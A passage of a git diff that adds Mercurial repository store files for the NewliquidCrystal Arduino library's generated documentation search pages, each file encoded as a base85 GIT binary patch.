zQ}$Cv)k&E{$3od^nE(u3_pPR?!t$RqRQt{ELmg1v{yqVNJb>XHF?;d>(c`hdUDn~O#0TkFXsn?g9}Lmyto(oHB7oVD(YM&16nf_sX+cPtQiY|a#V8$({wWj%9`)qXoY?Z5v)?m zWC|y%Ml}GYO}yD>5IK^>T5e?}>laPC>E{{bBy-$CRdE)OFMetesI%X{r9 ZE7j}x3Ao=^bTw|dI&9#$_ya)Tb%$8|nXv!> literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__63.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__63.html.i new file mode 100644 index 0000000000000000000000000000000000000000..3505b1de84b7784565782d051e07b4583ff38831 GIT binary patch literal 821 zcmV-51IqjW0RRC20000000Q*@00{m700000005}}|NsC0|NsBG6O5^lN|9}=6~h`2 zf}4C1rol1*00000000000001ZoVAwUZ`v>r$KUxYT4bb*RQYColJ?+Ww@J?4NlCTqrTXl$A^@v+Fh+FRxFJaH!u;RTinS^V0 zT*rbAw7M;a5(q4}<92MzcHkA>{hRUl^JMTR;(GX3%sCJN>VrQKyIlvnT@Slm1G`4*QR+c!K*Po?hEq3+b9?$n^})TC~8 zTdvg#+AS843zKwB+4^7xU^1s|wQch?>IIj7Li}(BOpA<)DX?F@H3ts;Ch3?68iJfn zlN43!XRmi>ThBYwv<6G*W+fBTWtP`5sO42YWX=6hI@gPls9gTUB)c7jJPh*s9_@qZTavJZw?DtIb- zi!FywqY=j*L>qpSDBKarc6Vg?y$m<~k!RPN!f{U+B6X7&7{G&K)lni2!xo zklC`TwjXkpihNxTYXPa^MuI<@K+Dpfe9f{|+6Oroi#*jfliHLl^c%A5@}&g*yLnbe z&vRbZY#P3pH;R1$uzrlPWZRS%=I8s_<7_%jc=uB^-%n>?aA^kysV2BL@!>2^SkBXG z?)$S3X)^#-iS45{=I}<=dpQ1^@&WQvhN`&3B^WQ!~*Sxr{$`9-6 zBQ(@yT9`E)kIiA36x1rle#cibKHd1gK9qG1Px$P>tjoP@4TDgtX-A2c{jeP<= zf+r586HG8A7MxfnDp#e0FmVs9Nmt!%)W&Vp%59|XHagzzQ*u0k+qj|ImWtb!n%kCw z+t!h8? zw$;jQOWkej1n=z=ay)_CM39Dd+bVY3YIfTScH3{;U9~_iTNZk=8aH7+;Xbq?HX#u* z8S`zzOq+AWoXE7DL%2VWKW~W^bCSO9_uzVXsm}tVyr)Pzp2o6oIVY?kbVmicqXykk zfbP5ty}Gm6G2$?*$y4Ma1WgEu7ukM9Iq~HxM;IbbJo$DzK)&X4C;7bF0J(pRz8%qk zRUQl8umi422VAudxC$L`)jMEg3z;q~zcir8v$12l7-I%q`IW+D^w6LGHK2zQ(64Gi zF;B?4A$_buAFI*F3iNRU`qj=;qnCRNrgE3(9+&$&bu8Dh<<~i4(uw0mo_`R11?K;D zo<_`fPh#(@DOG2&&zEnV#_s0bWM7G(GhTqfO{Ue?+pKp_muV`rY4^KhU9cAd&MrFp fZQn$9<#?~RcRF4JFHgs-!}9W90G)pU?R7dVN{)Y# literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__65.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__65.html.i new file mode 100644 index 0000000000000000000000000000000000000000..edad4467b2ef5073889f5a7468db4db18efbfd8e GIT binary patch literal 843 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__68.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__68.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6bfcacd2ee0e29a3b204f0bf788de6c748b15633 GIT binary patch literal 1086 zcmV-E1i||N0RRC20000000No-00txg00000005}}|NsC0|NsB+o$b7=XsX>7Y2h-5 z(QXh{RH2*z00000000000001ZoRw7Da+@#^efL)=>Wec|B;!j=8epce>BKXRld+v? z`ot(`ZAh@7AYb_VN2N+ok2mw%F)~RD%`+zQNJfcZF{R!FBOFSZexr1|-I8sGB-xVAr*x-dnVMXihCE;r zE;)7^wmxy~5EyrD8Oa!2n^xb3y#mRQj%~p2b+mEtAQ2LTH0DJL7zNdzgC*=_mE$T1 zS(bxz9_Bv`3sV&&j>HSfAa-yrix~0{Kw>0Sgqj%SIYway3xxod1tHNMP0fQWO64K; znQd6*#VF5$J>xmY>fY6fBGR&+hW(WA0tGS4a|h3+_iPEeWFBo$#IDa%v_>}pkP%1Qz9l!=3U zL84xiJ01*G7uAWDu9o>kwf){Ah*fFo3p)r-6yN-e_~z%tH$Nf1`Jwog?!Fb)((`uj z$?RBt%i>lCF8T|r+v-_Xzt>gbFWQTLNPly8>-mGR_kHSnkKW*aT_E8}eK?$ySy@^+ zD|_?3X*uLgl3ON&5Yz-u5>(r-tPeMUYo8fLgD1gyrD`OqU@r!3UKbh=#DHjjn zQJ%)EaIi=O;H&qEZ#R06x?$OIE0Kc)Y|-q{*ThEDu zO5}(SIRN=^*#H0l00000000000C=2@k-=(%KoCGv=qX>ZY%eVobu}6nR45_PLg>L9 za$LsUO_grc?yd>`Qa_=2aJQ{hckgg(9z{(E-SOYdaX(i5fli6k#+vnuql!-f{;{)8`1KDy;-%v#ozf9uJ=%o7CQ-TK{Vl^lxavUtxBqG zPmvpYByET@$3XM#XD8uLI>ADpVs6g4`24VSan5cZM&7T-F$m=%29M7-casr-2F5?S zBaCmoTk!L{cYg;gWCBl+B#UIk6B1)Qo-8F~yNHW9_MY&&?qz9nwKU|O z6H!Uwu;u7CLnmZ}4jmcEm<=6VK3mR$Ndk0lgZ)`XD;JJS`1+52YnAy!S|D0u^d#V*Wb9ZO=YTxA>WyD3Emh-}C4uY6unG0u6k7UktWE!nNM0I77Q1-ql zZFMtAwBRhz=Y7FYCaUw;o%fKOpbRyZp zgn%b+ET?>(xKJ>;6bUGEm0dG5C95`DDb`=jPNhx-(>z$Fp8;QNkO2_zz>>XC|Ybb+?d7z*D)ynT6Sy# zu8)6-1|eL$Q2G79k9>~wJx~Xnh`G84&`*g-6l_iP^u9uFYP0 z{jP2HE(yIdEsI|D`n`(_^OBgWvmi|yUcYASD;iCq zf0Q@4e%9gZr#NpB`+XJd=ov#wPy+k}x3D2K`xI*SY1Hf!sM$@ag~yqN|0lLT7G}kE ziovj59vTh%zA3*aG6b9yIMr~AA!1bsu OCb#}S()tUU1q_yz%xxC{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..06a38ca21222dee33ad5937cb6ef91809e55d27e GIT binary patch literal 5696 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6d.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6d.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5d35e5f917bdd05d26d18102bd65b80798402966 GIT binary patch literal 715 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 by~;Cywd_Av+|ADYku*2s|GD571({V@Mw$CW literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__7.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__7.js.i new file mode 100644 index 0000000000000000000000000000000000000000..6cf69afe2fb09952de0d6b6fced0cb75e214668b GIT binary patch literal 223 zcmZQzWME`~fcZe`4V1n0KNP%n*O?ra^j*b1@>R~0%BM>vGcoZ))qtsrIk{(db2S@? zFkG;WS1dUpl(VSQaEhOmRq0fP?dBWBl$?_O{&SKKSn@jZ9GjuHoRXjJngTW3lbhz9 zJN@jV;ANp^`S4TsF6~+J+hd-*p@WyRL_xvNE$1FGJmA`~$k30WY0{oGr7O1-9(&2e zt*$BDQ|9Zvc56=f(cihZVyEl>J-g$hoMl#Eh3fh}tK34RBd2m5eX;e>{hk}bl}s03 HdzkU00000000000001ZoVAr*bD}U5hVT6q+3by-S-ykf7PzRov&>lQRJtEm zOn@M?2rNV`|9%soR(INtTfvVLOaT-m>8Cc8 zq?tPdzrMS-3!sQHa7&z32~F}0r;;>ZLI7h*i?5P&I2^=-Cg$Zva_^;Qo=f58ZYj_c zrx?-@+5?mC*k(*{Xqz;lDX~qd{T-NFLNVaE1@dQ?>@7IWGfFZlxOG7w2-<%Zq~w{l zXIuv{E-ON<2lty`K#3(ulk5qUB(-2g>y%V6Aru12GIYkEsvw9<5-|nAWe|%z!mU+M zCIvm!KH@!YqYzYOaCAIYklnl8VMeK`XJGnySc4$NRb|2T{R(dgFF8#1APITI$wKn{ z5<2SE6w@8M6W1(q946TY+TB7FMN?wxe?9l4+NBhBdA%aZwt2`;1LwMVM$4Lqfr%Tj zL&;W#AkUsi9p;D3f+eB5G6QX8ZQe>;;{A~98SO9fRi`dW!gF3K-xU{WUn$gEKTlse zBZ^Y9<0YyWc!`&byxpI%uK5$BjuG)kzCSYb5egz*MVh8+p>G&t)@fXB*arc<0+;L% zXfrmqjEyPb218Zg?BvuSXP=hss8i>THI(gfgdOoqz~?3HL0;)YUg<|(=|NuUPhQrL zVlcw21A&eLq!}pE^@)a!u^jmtdW$@R^FPt^*|NVBz1j!8+7G?j1HJkodM{V%MJtQvlV#_C8N85rwiGSMaqR&-hQ1J;%hA=&r+$d{3dqrlKLG>#?{G)bVMK=TNxO{Jfo%)vfEv7+C*jQcWpj*GVJ{-%o`AHB4 zVIJ(ZtT>TXI!_5--qcPwJkHZAv3U)|FsX_Z*A~q3jKJ&njjuO)&$`Fud6R(!GI9Xx m)7TK6N#ND>;QYgA)k78+gtI551J0k6=7r(!=HM?T@sXct5QD7% literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..50994125eea4617aeb132463b9764ef2ba966569 GIT binary patch literal 997 zcmVx3wA^LH4~PX+h#{WO9_SjflDWS} zKF=(Zki*l_^z1j6RPNN8GM{NgxgW0as2u3J?i$Mbb<7OJE|9p)>m_P_l^0c=?n0Ry zGBa{%?m3aLH8G09A8_DN8V+#+a+idtD62>+^n1E*!(O5O-RzX!aROP+y6(HUmhTIK z!*&@3$8FJdBY)!gU5|Ob7wOqvf24g%__DuTG3yFAm=p%!FlWhayE`yp)mPh0leOvw z?8P)uli*PX#x-cpK*TgWnUY1SsYa9Tc=AVnQ zRs-@@4f25k&r9sgv}}i%iX`jymMiY`i0J@z`ovx-^v+w@GdPQAs^Gj!e>%Rsh`p$Z zyxRnMw;A$o1LWQF$X{MD*VX7nv|b0${*>4Ise?ze`H^L%@bShExWb;-Uaj6^_0*oH 